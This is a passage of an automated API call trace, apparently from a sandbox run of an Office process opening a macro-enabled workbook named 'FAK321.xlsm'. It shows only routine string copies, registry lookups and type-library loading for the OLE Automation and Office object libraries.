[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.758] wcsncpy_s (in: _Destination=0xae16418, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0 [0066.758] wcscpy_s (in: _Destination=0xae16478, _SizeInWords=0x2f, _Source="C:\\Windows\\SysWOW64\\stdole2.tlb" | out: _Destination="C:\\Windows\\SysWOW64\\stdole2.tlb") returned 0x0 [0066.758] wcscpy_s (in: _Destination=0xae164b6, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0 [0066.758] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb0fa9a0, cb=0x680) returned 0xb393d20 [0066.758] wcscpy_s (in: _Destination=0xb393fe0, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0066.758] wcsncpy_s (in: _Destination=0x170cd0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0066.758] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0066.758] IMalloc:Alloc (This=0x7fefecb5380, cb=0xbe) returned 0xae0d770 [0066.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xae0d770, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0066.758] IMalloc:Free (This=0x7fefecb5380, pv=0xae0d770) [0066.758] wcscpy_s (in: _Destination=0xb18e510, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0066.758] wcsncpy_s (in: _Destination=0x170d10, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0066.759] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0066.759] IMalloc:Alloc (This=0x7fefecb5380, cb=0xbe) returned 0xae0d770 [0066.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xae0d770, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0066.759] IMalloc:Free (This=0x7fefecb5380, pv=0xae0d770) [0066.759] wcsncpy_s (in: _Destination=0x170cd0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.759] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0066.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x170c00, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0066.759] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0 [0066.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x170fb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0066.759] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0066.759] strcpy_s (in: _Dst=0x170d90, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0066.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x170d90, cbMultiByte=7, lpWideCharStr=0x170be0, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0066.759] IUnknown:AddRef (This=0xb55fe10) returned 0x3 [0066.759] ITypeLib:RemoteIsName (in: This=0xb55fe10, szNameBuf="stdole", lHashVal=0x106093, pfName=0x170cb0, pBstrLibName=0x170be0 | out: pfName=0x170cb0*=0, pBstrLibName=0x170be0) returned 0x0 [0066.759] IUnknown:Release (This=0xb55fe10) returned 0x2 [0066.759] IUnknown:AddRef (This=0xaeffda0) returned 0x2 [0066.759] ITypeLib:RemoteIsName (in: This=0xaeffda0, szNameBuf="stdole", lHashVal=0x106093, pfName=0x170cb0, pBstrLibName=0x170be0 | out: pfName=0x170cb0*=0, pBstrLibName=0x170be0) returned 0x0 [0066.759] IUnknown:Release (This=0xaeffda0) returned 0x1 [0066.759] IMalloc:Alloc (This=0x7fefecb5380, cb=0x208) returned 0x7abb0a0 [0066.760] wcscpy_s (in: _Destination=0xae16418, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0066.760] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x170390 | out: phkResult=0x170390*=0xa66) returned 0x0 [0066.760] RegOpenKeyW (in: hKey=0xa66, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x170388 | out: phkResult=0x170388*=0xa62) returned 0x0 [0066.760] RegEnumKeyW (in: hKey=0xa62, dwIndex=0x0, lpName=0x1703b8, cchName=0xa | out: lpName="1.0") returned 0x0 [0066.761] RegEnumKeyW (in: hKey=0xa62, dwIndex=0x1, lpName=0x1703b8, cchName=0xa | out: lpName="2.0") returned 0x0 [0066.761] wcscpy_s (in: _Destination=0x1703a0, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0066.761] RegOpenKeyW (in: hKey=0xa62, lpSubKey="2.0", phkResult=0x170448 | out: phkResult=0x170448*=0xa6e) returned 0x0 [0066.761] _ultoa_s (in: _Val=0x0, _DstBuf=0x1703c0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0066.762] RegOpenKeyA (in: hKey=0xa6e, lpSubKey="0", phkResult=0x1703b0 | out: phkResult=0x1703b0*=0xa6a) returned 0x0 [0066.762] RegOpenKeyW (in: hKey=0xa6a, lpSubKey="win64", phkResult=0x1703b8 | out: phkResult=0x1703b8*=0xcda) returned 0x0 [0066.762] RegCloseKey (hKey=0xcda) returned 0x0 [0066.762] RegCloseKey (hKey=0xa6a) returned 0x0 [0066.762] _ultow_s (in: _Value=0x0, _Buffer=0x170450, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0066.762] RegOpenKeyW (in: hKey=0xa6e, lpSubKey="0", phkResult=0x170428 | out: phkResult=0x170428*=0xa6a) returned 0x0 [0066.763] RegQueryValueW (in: hKey=0xa6a, lpSubKey="win64", lpData=0x170470, lpcbData=0x170424 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x170424) returned 0x0 [0066.764] wcscpy_s (in: _Destination=0x7abb0a0, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0066.764] RegCloseKey (hKey=0xa6a) returned 0x0 [0066.764] RegCloseKey (hKey=0xa6e) returned 0x0 [0066.764] RegCloseKey (hKey=0xa62) returned 0x0 [0066.764] RegCloseKey (hKey=0xa66) returned 0x0 [0066.764] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x170a98*=0x0 | out: pptlib=0x170a98*=0xb5603b0) returned 0x0 [0066.765] IUnknown:QueryInterface (in: This=0xb5603b0, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x170898 | out: ppvObject=0x170898*=0x0) returned 0x80004002 [0066.765] ITypeLib:RemoteGetLibAttr (in: This=0xb5603b0, ppTLibAttr=0x170890, pDummy=0x10 | out: ppTLibAttr=0x170890, pDummy=0x10) returned 0x0 [0066.765] ITypeLib:RemoteGetDocumentation (in: This=0xb5603b0, index=-1, refPtrFlags=0x0, pbstrName=0x170888, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xae16476 | out: pbstrName=0x170888*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xae16476) returned 0x0 [0066.765] StringFromGUID2 (in: rguid=0xb070c10*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x1708b0, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0066.765] _ultow_s (in: _Value=0x2, _Buffer=0x1707fa, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0066.765] _ultow_s (in: _Value=0x0, _Buffer=0x1707fe, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0066.765] _ultow_s (in: _Value=0x0, _Buffer=0x170802, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0066.765] wcscpy_s (in: _Destination=0xae164f8, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0066.765] wcscpy_s (in: _Destination=0xae164fe, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0066.765] wcscpy_s (in: _Destination=0xae1654a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0066.765] wcscpy_s (in: _Destination=0xae16558, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0066.765] wcscpy_s (in: _Destination=0xae16598, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0066.765] ITypeLib:LocalReleaseTLibAttr (This=0xb5603b0) returned 0x0 [0066.765] wcscpy_s (in: _Destination=0x7abb0a0, _SizeInWords=0x104, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0066.765] wcscpy_s (in: _Destination=0xb3940a0, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0066.765] IMalloc:Free (This=0x7fefecb5380, pv=0x7abb0a0) [0066.765] IUnknown:AddRef (This=0xb5603b0) returned 0x4 [0066.765] IUnknown:QueryInterface (in: This=0xb5603b0, riid=0x7fee5ca85a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x170af8 | out: ppvObject=0x170af8*=0x0) returned 0x80004002 [0066.765] ITypeLib:RemoteIsName (in: This=0xb5603b0, szNameBuf="stdole", lHashVal=0x106093, pfName=0x170cb0, pBstrLibName=0x170be0 | out: pfName=0x170cb0*=0, pBstrLibName=0x170be0) returned 0x0 [0066.765] IUnknown:Release (This=0xb5603b0) returned 0x3 [0066.766] IMalloc:Alloc (This=0x7fefecb5380, cb=0x24) returned 0xaf08d50 [0066.766] IMalloc:Free (This=0x7fefecb5380, pv=0xafa4cb0) [0066.766] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xaf09620 [0066.766] IMalloc:Realloc (This=0x7fefecb5380, pv=0xaf09620, cb=0x50) returned 0xb2a0900 [0066.766] IMalloc:Free (This=0x7fefecb5380, pv=0xaf08d50) [0066.766] IMalloc:Alloc (This=0x7fefecb5380, cb=0x9a) returned 0xaeed440 [0066.766] IMalloc:Free (This=0x7fefecb5380, pv=0xaeed440) [0066.767] CLSIDFromString (in: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", pclsid=0x171080 | out: pclsid=0x171080*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52))) returned 0x0 [0066.767] IMalloc:Alloc (This=0x7fefecb5380, cb=0x8c) returned 0x774d210 [0066.767] _ultow_s (in: _Value=0x2, _Buffer=0x170f0a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0066.767] _ultow_s (in: _Value=0x8, _Buffer=0x170f0e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0066.767] _ultow_s (in: _Value=0x0, _Buffer=0x170f12, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0066.767] wcscpy_s (in: _Destination=0x7996b88, _SizeInWords=0x9b, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0066.767] wcscpy_s (in: _Destination=0x7996b8e, _SizeInWords=0x98, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0066.767] wcscpy_s (in: _Destination=0x7996bda, _SizeInWords=0x72, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0066.767] wcscpy_s (in: _Destination=0x7996be8, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0066.767] wcscpy_s (in: _Destination=0x7996c74, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0066.767] IMalloc:Free (This=0x7fefecb5380, pv=0x774d210) [0066.769] wcsncpy_s (in: _Destination=0x51548b8, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#") returned 0x0 [0066.769] wcscpy_s (in: _Destination=0x5154918, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0066.769] wcscpy_s (in: _Destination=0x51549a2, _SizeInWords=0x26, _Source="#Microsoft Office 16.0 Object Library" | out: _Destination="#Microsoft Office 16.0 Object Library") returned 0x0 [0066.769] wcscpy_s (in: _Destination=0xb394160, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0066.769] wcsncpy_s (in: _Destination=0x170cd0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0066.769] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x9a [0066.769] IMalloc:Alloc (This=0x7fefecb5380, cb=0x136) returned 0xb516f60 [0066.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=155, lpMultiByteStr=0xb516f60, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 155 [0066.769] IMalloc:Free (This=0x7fefecb5380, pv=0xb516f60) [0066.769] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb18e1d0, cb=0x880) returned 0xb56c210 [0066.769] wcscpy_s (in: _Destination=0xb56c640, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0066.770] wcsncpy_s (in: _Destination=0x170d10, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0066.770] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x9a [0066.770] IMalloc:Alloc (This=0x7fefecb5380, cb=0x136) returned 0xb516f60 [0066.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=155, lpMultiByteStr=0xb516f60, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 155 [0066.770] IMalloc:Free (This=0x7fefecb5380, pv=0xb516f60) [0066.770] wcsncpy_s (in: _Destination=0x170cd0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.770] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0066.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x170c00, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0066.770] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0 [0066.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x170fb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0066.770] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0066.770] strcpy_s (in: _Dst=0x170d90, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0066.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x170d90, cbMultiByte=7, lpWideCharStr=0x170be0, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0066.770] IUnknown:AddRef (This=0xb55fe10) returned 0x3 [0066.770] ITypeLib:RemoteIsName (in: This=0xb55fe10, szNameBuf="Office", lHashVal=0x107515, pfName=0x170cb0, pBstrLibName=0x170be0 | out: pfName=0x170cb0*=0, pBstrLibName=0x170be0) returned 0x0 [0066.770] IUnknown:Release (This=0xb55fe10) returned 0x2 [0066.770] IUnknown:AddRef (This=0xaeffda0) returned 0x2 [0066.770] ITypeLib:RemoteIsName (in: This=0xaeffda0, szNameBuf="Office", lHashVal=0x107515, pfName=0x170cb0, pBstrLibName=0x170be0 | out: pfName=0x170cb0*=0, pBstrLibName=0x170be0) returned 0x0 [0066.770] IUnknown:Release (This=0xaeffda0) returned 0x1 [0066.770] IUnknown:AddRef (This=0xb5603b0) returned 0x4 [0066.771] ITypeLib:RemoteIsName (in: This=0xb5603b0, szNameBuf="Office", lHashVal=0x107515, pfName=0x170cb0, pBstrLibName=0x170be0 | out: pfName=0x170cb0*=0, pBstrLibName=0x170be0) returned 0x0 [0066.771] IUnknown:Release (This=0xb5603b0) returned 0x3 [0066.771] IMalloc:Alloc (This=0x7fefecb5380, cb=0x208) returned 0x7abb0a0 [0066.771] wcscpy_s (in: _Destination=0x51548b8, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0066.771] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x170390 | out: phkResult=0x170390*=0xa66) returned 0x0 [0066.771] RegOpenKeyW (in: hKey=0xa66, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x170388 | out: phkResult=0x170388*=0xa6e) returned 0x0 [0066.772] RegEnumKeyW (in: hKey=0xa6e, dwIndex=0x0, lpName=0x1703b8, cchName=0xa | out: lpName="2.6") returned 0x0 [0066.772] RegEnumKeyW (in: hKey=0xa6e, dwIndex=0x1, lpName=0x1703b8, cchName=0xa | out: lpName="2.7") returned 0x0 [0066.773] RegEnumKeyW (in: hKey=0xa6e, dwIndex=0x2, lpName=0x1703b8, cchName=0xa | out: lpName="2.8") returned 0x0 [0066.773] wcscpy_s (in: _Destination=0x1703a0, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0066.773] RegOpenKeyW (in: hKey=0xa6e, lpSubKey="2.8", phkResult=0x170448 | out: phkResult=0x170448*=0xcda) returned 0x0 [0066.773] _ultoa_s (in: _Val=0x0, _DstBuf=0x1703c0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0066.773] RegOpenKeyA (in: hKey=0xcda, lpSubKey="0", phkResult=0x1703b0 | out: phkResult=0x1703b0*=0xcbe) returned 0x0 [0066.774] RegOpenKeyW (in: hKey=0xcbe, lpSubKey="win64", phkResult=0x1703b8 | out: phkResult=0x1703b8*=0xa0e) returned 0x0 [0066.774] RegCloseKey (hKey=0xa0e) returned 0x0 [0066.774] RegCloseKey (hKey=0xcbe) returned 0x0 [0066.774] _ultow_s (in: _Value=0x0, _Buffer=0x170450, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0066.774] RegOpenKeyW (in: hKey=0xcda, lpSubKey="0", phkResult=0x170428 | out: phkResult=0x170428*=0xcb2) returned 0x0 [0066.775] RegQueryValueW (in: hKey=0xcb2, lpSubKey="win64", lpData=0x170470, lpcbData=0x170424 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x170424) returned 0x0 [0066.776] wcscpy_s (in: _Destination=0x7abb0a0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0066.776] RegCloseKey (hKey=0xcb2) returned 0x0 [0066.776] RegCloseKey (hKey=0xcda) returned 0x0 [0066.776] RegCloseKey (hKey=0xa6e) returned 0x0 [0066.776] RegCloseKey (hKey=0xa66) returned 0x0 [0066.776] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x170a98*=0x0 | out: pptlib=0x170a98*=0xb560950) returned 0x0 [0066.944] IUnknown:QueryInterface (in: This=0xb560950, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x170898 | out: ppvObject=0x170898*=0x0) returned 0x80004002 [0066.944] ITypeLib:RemoteGetLibAttr (in: This=0xb560950, ppTLibAttr=0x170890, pDummy=0x10 | out: ppTLibAttr=0x170890, pDummy=0x10) returned 